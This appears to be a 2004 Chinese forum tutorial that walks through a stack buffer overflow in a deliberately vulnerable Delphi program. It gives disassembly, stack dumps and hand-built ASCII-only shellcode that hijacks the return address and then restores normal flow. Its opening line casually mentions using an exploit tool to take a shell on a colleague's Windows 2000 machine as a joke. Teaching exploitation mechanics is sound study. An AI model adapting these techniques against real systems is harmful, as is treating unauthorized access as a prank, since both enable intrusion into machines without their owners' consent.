• 标 题:一次溢出之旅
  • 作 者:kongfoo
  • 时 间:004-11-12,09:56
  • 链 接:http://bbs.pediy.com

一次溢出之旅
kongfoo/2004.11.11-12

  前两天利用sqlhello溢出漏洞工具跟局域网里面的同事开了个玩笑,取得了他win2k的shell,
于是乎也想玩一下溢出。首先用Delphi写个有漏洞的程序:点击此处下载(或鼠标右键另存为)

  如果不检查输入字串的长度,哪么输入的字串长度大于变量预定的范围就产生溢出了。
procedure TForm1.Button1Click(Sender: TObject);
var name:array[0..255]of char;
begin
  strcopy(name,PChar(Edit1.Text));  //Edit1的内容是256+6个字符,最后6个字符:Hello.
end;

整个过程的代码:
0044F02C    55              PUSH EBP
0044F02D    8BEC            MOV EBP,ESP
0044F02F    81C4 FCFEFFFF   ADD ESP,-104  
0044F035    53              PUSH EBX
0044F036    33C9            XOR ECX,ECX
0044F038    898D FCFEFFFF   MOV DWORD PTR SS:[EBP-104],ECX
0044F03E    8BD8            MOV EBX,EAX
0044F040    33C0            XOR EAX,EAX
0044F042    55              PUSH EBP
0044F043    68 90F04400     PUSH Project1.0044F090
0044F048    64:FF30         PUSH DWORD PTR FS:[EAX]
0044F04B    64:8920         MOV DWORD PTR FS:[EAX],ESP
0044F04E    8D95 FCFEFFFF   LEA EDX,DWORD PTR SS:[EBP-104]
0044F054    8B83 FC020000   MOV EAX,DWORD PTR DS:[EBX+2FC]
0044F05A    E8 DDF3FDFF     CALL Project1.0042E43C
0044F05F    8B85 FCFEFFFF   MOV EAX,DWORD PTR SS:[EBP-104]
0044F065    E8 6652FBFF     CALL Project1.004042D0
0044F06A    8BD0            MOV EDX,EAX
0044F06C    8D85 00FFFFFF   LEA EAX,DWORD PTR SS:[EBP-100]
0044F072    E8 F590FBFF     CALL Project1.0040816C         ==strcopy,将Edit1的文本内容复制到局部变量name中,Delphi的局部变量就在栈中
0044F077    33C0            XOR EAX,EAX
0044F079    5A              POP EDX
0044F07A    59              POP ECX
0044F07B    59              POP ECX
0044F07C    64:8910         MOV DWORD PTR FS:[EAX],EDX
0044F07F    68 97F04400     PUSH Project1.0044F097
0044F084    8D85 FCFEFFFF   LEA EAX,DWORD PTR SS:[EBP-104]
0044F08A    E8 814DFBFF     CALL Project1.00403E10
0044F08F    C3              RETN
0044F090  ^ E9 7F47FBFF     JMP Project1.00403814
0044F095  ^ EB ED           JMP SHORT Project1.0044F084
0044F097    5B              POP EBX
0044F098    8BE5            MOV ESP,EBP
0044F09A    5D              POP EBP
0044F09B    C3              RETN          ==过程的最后返回点

  执行call 40816c(strcopy)之后,

正常栈内容:
0012F538   0012F97C  Pointer to next SEH record
0012F53C   0044F090  SE handler
0012F540   0012F64C
0012F544   00953788
0012F548   00000000
0012F54C   00000000
0012F550   0068EC28
0012F554   00000001
0012F558   0000000F
0012F55C   00000004
0012F560   00000004
0012F564   00000043
0012F568   00000001
0012F56C   0110007F
0012F570   00000004
0012F574   00000014
0012F578   00000043
0012F57C   00000001
0012F580   0110007F
0012F584   00000004
0012F588   00000005
0012F58C   00000001
0012F590   0000000F
0012F594   0110007F
0012F598   00000046
0012F59C   00000005
0012F5A0   00000001
0012F5A4   0000000F
0012F5A8   0110007F
0012F5AC   00000001
0012F5B0   00000005
0012F5B4   00000011
0012F5B8   00000015
0012F5BC   00000004
0012F5C0  /0012F64C
0012F5C4  |77D19328  RETURN to user32.77D19328 from user32.77D191A4
0012F5C8  |150105FB
0012F5CC  |00000043
0012F5D0  |0110007F
0012F5D4  |005A0049
0012F5D8  |00000001
0012F5DC  |00000001
0012F5E0  |00000005
0012F5E4  |77D2FCC1  RETURN to user32.77D2FCC1 from user32.DrawFocusRect
0012F5E8  |150105FB
0012F5EC  |0012F5FC
0012F5F0  |00000000
0012F5F4  |00145B1C
0012F5F8  |00000200
0012F5FC  |00000004
0012F600  |00000004
0012F604  |00000047
0012F608  |00000015
0012F60C  |00000013
0012F610  |00145B1C
0012F614  |0012000F
0012F618  |00000003
0012F61C  |00000007
0012F620  |01100071
0012F624  |006733A0  UNICODE "GetName"
0012F628  |0000002D
0012F62C  |00145B1C
0012F630  |00000200
0012F634  |00000003
0012F638  |00000003
0012F63C  |0000002D
0012F640  |00000002
0012F644  |00403277  RETURN to Project1.00403277 from Project1.004032EC
0012F648  |004280B4  Project1.004280B4
0012F64C  ]0012F78C
0012F650  |0042F9D6  RETURN to Project1.0042F9D6           ==这里是函数的正常出口

溢出后:
0012F538   0012F97C  Pointer to next SEH record
0012F53C   0044F090  SE handler
0012F540   0012F64C  ASCII "Hello."  ==溢出了6字节
0012F544   00953788
0012F548   00952594  ASCII "111111111122222222223333333333444444444455555555556666666666777777777788888888889999999999000000000011111111112222222222333333333344444444445555555555666666666677777777778888888888999999999900000000001111111111222222222233333333334444444"...
0012F54C   31313131  ==字串开始
0012F550   31313131
0012F554   32323131
0012F558   32323232
0012F55C   32323232
0012F560   33333333
0012F564   33333333
0012F568   34343333
0012F56C   34343434
0012F570   34343434
0012F574   35353535
0012F578   35353535
0012F57C   36363535
0012F580   36363636
0012F584   36363636
0012F588   37373737
0012F58C   37373737
0012F590   38383737
0012F594   38383838
0012F598   38383838
0012F59C   39393939
0012F5A0   39393939
0012F5A4   30303939
0012F5A8   30303030
0012F5AC   30303030
0012F5B0   31313131
0012F5B4   31313131
0012F5B8   32323131
0012F5BC   32323232
0012F5C0   32323232
0012F5C4   33333333
0012F5C8   33333333
0012F5CC   34343333
0012F5D0   34343434
0012F5D4   34343434
0012F5D8   35353535
0012F5DC   35353535
0012F5E0   36363535
0012F5E4   36363636
0012F5E8   36363636
0012F5EC   37373737
0012F5F0   37373737
0012F5F4   38383737
0012F5F8   38383838
0012F5FC   38383838
0012F600   39393939
0012F604   39393939
0012F608   30303939
0012F60C   30303030
0012F610   30303030
0012F614   31313131
0012F618   31313131
0012F61C   32323131
0012F620   32323232
0012F624   32323232
0012F628   33333333
0012F62C   33333333
0012F630   34343333
0012F634   34343434
0012F638   34343434
0012F63C   35353535
0012F640   35353535
0012F644   36363535
0012F648   36363636
0012F64C   6C6C6548
0012F650   00002E6F  ==溢出的内容已经覆盖了返回地址,函数将会返回到2e6f。
  
  好了,现在我们只要把12f650的内容变成12f54c,程序就会返回到我们输入的
字符串,然后执行。我们只要精心构造一个字符串放到Edit1中,字符串就成为我们
的代码了。输入的字符串要做的工作只是恢复正常的程序流程,工作很简单,有256
个字节的空间足够了。

  主要代码:
    BD 8CF71230     MOV EBP,3012F78C  ==代码中不能有00,因为strcopy会认为是00字符串结束,就不能形成溢出了
    C1E5 08         SHL EBP,8         ==用变通的方法生成0012f78c之类的地址,另外f7,c3之类的数据在复制成ASCII
    C1ED 08         SHR EBP,8         ==时会变成?,也要用变通的方法处理一下
    B8 D6F94230     MOV EAX,3042F9D6
    C1E0 08         SHL EAX,8
    C1E8 08         SHR EAX,8
    50              PUSH EAX
    C3              RETN

  经过一番测试之后,代码就可以写出来了。

  再加上结尾的内容12f54c(让程序返回到我们的溢出代码),可是4cf512不能正常复制出ASCII出来,
只好另想办法了,实验一下12f59d(9df512)就能正常复制出ASCII,哪么我们在12f59d的位置上再放几行
代码转到12f54c就OK了(当然也可以直接在12f59d恢复EBP和返回程序流程,个人喜好)。

0012F54C    8040 32 80        ADD BYTE PTR DS:[EAX+32],80   ==变通处理mov ebp,3012f78c中的f7,程序执行到这里时EAX=12f548
0012F550    8040 47 60        ADD BYTE PTR DS:[EAX+47],60   ==变通处理retn
0012F554    41                INC ECX                       ==相当于NOP,ASCII 'A'
0012F555    41                INC ECX
0012F556    41                INC ECX
0012F557    41                INC ECX
0012F558    41                INC ECX
0012F559    41                INC ECX
0012F55A    41                INC ECX
0012F55B    41                INC ECX
0012F55C    41                INC ECX
0012F55D    41                INC ECX
0012F55E    41                INC ECX
0012F55F    41                INC ECX
0012F560    41                INC ECX
0012F561    41                INC ECX
0012F562    41                INC ECX
0012F563    41                INC ECX
0012F564    41                INC ECX
0012F565    41                INC ECX
0012F566    41                INC ECX
0012F567    41                INC ECX
0012F568    41                INC ECX
0012F569    41                INC ECX
0012F56A    41                INC ECX
0012F56B    41                INC ECX
0012F56C    41                INC ECX
0012F56D    41                INC ECX
0012F56E    41                INC ECX
0012F56F    41                INC ECX
0012F570    41                INC ECX
0012F571    41                INC ECX
0012F572    41                INC ECX
0012F573    41                INC ECX
0012F574    41                INC ECX
0012F575    41                INC ECX
0012F576    41                INC ECX
0012F577    41                INC ECX
0012F578    BD 8C771230       MOV EBP,3012778C  ==77将被改成f7
0012F57D    C1E5 08           SHL EBP,8
0012F580    C1ED 08           SHR EBP,8         ==mov ebp,12f78c 恢复ebp
0012F583    B8 D6F94230       MOV EAX,3042F9D6
0012F588    C1E0 08           SHL EAX,8
0012F58B    C1E8 08           SHR EAX,8
0012F58E    50                PUSH EAX          ==让程序返回到42f9d6
0012F58F    6337              ARPL WORD PTR DS:[EDI],SI  ==这里将被上面的代码改成retn
0012F591    41                INC ECX
0012F592    41                INC ECX
0012F593    41                INC ECX
0012F594    41                INC ECX
0012F595    41                INC ECX
0012F596    41                INC ECX
0012F597    41                INC ECX
0012F598    41                INC ECX
0012F599    41                INC ECX
0012F59A    41                INC ECX
0012F59B    41                INC ECX
0012F59C    41                INC ECX
0012F59D    8040 62 80        ADD BYTE PTR DS:[EAX+62],80    ==溢出代码入口,先恢复下面的指令
0012F5A1    66:8140 6B A080   ADD WORD PTR DS:[EAX+6B],80A0
0012F5A7    41                INC ECX
0012F5A8    B9 4C751230       MOV ECX,3012754C  ==mov ecx,3012f54c
0012F5AD    C1E1 08           SHL ECX,8
0012F5B0    C1E9 08           SHR ECX,8  ==ecx=12f54c
0012F5B3    5F                POP EDI    ==恢复后:jmp ecx
0012F5B4    61                POPAD


二进制值(方便我测试用的)
80 40 32 80 80 40 47 60 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 BD 8C 77 12 30 C1 E5 08 C1 ED 08 B8 D6 F9 42 30 C1 E0 08 C1
E8 08 50 63 37 41 41 41 41 41 41 41 41 41 41 41 41 80 40 62 80 66 81 40 6B A0 80 41 B9 4C 75 12
30 C1 E1 08 C1 E9 08 5F 61

ASCII码
0012F548              80 40 32 80 80 40 47 60 41 41 41 41      @2@G`AAAA
0012F558  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012F568  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012F578  BD 8C 77 12 30 C1 E5 08 C1 ED 08 B8 D6 F9 42 30  綄w0铃另钢鵅0
0012F588  C1 E0 08 C1 E8 08 50 63 37 41 41 41 41 41 41 41  拎凌Pc7AAAAAAA
0012F598  41 41 41 41 41 80 40 62 80 66 81 40 6B A0 80 41  AAAAA@bf丂k_A
0012F5A8  B9 4C 75 12 30 C1 E1 08 C1 E9 08 5F 61           筁u0玲灵_a


  好了,我们要输入的字符串出来了(105+151+4+3):

@2@G`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA綄w0铃另钢鵅0拎凌Pc7AAAAAAAAAAAA@bf丂k_A筁u0玲灵_a11111111112222222222333333333344444444445555555555666666666677777777778888888888999999999900000000001111111111222222222233333333334444444444555555555566666濙

  把这个长度为263个字符的串复制到Edit1中,按下按钮,没有弹出出错框,
我们成功进行了一次溢出之旅:)

  后记:因为只是在Edit1中输入字串,只能用可以显示出来的字串,所以整个
过程复杂了许多,而在真正的溢出漏洞通常都是直接向某个函数或进程发送数据
产生溢出,只需考虑串中没有00就可以,方便直接很多。这篇贴子只能算是用来
介绍溢出机制(这种是栈溢出,还有几种溢出类型,网上介绍很多),执行了的
我们的代码都是简简单单的,要做到溢出后取得shell等等工作还不是我这菜鸟可
以的。:)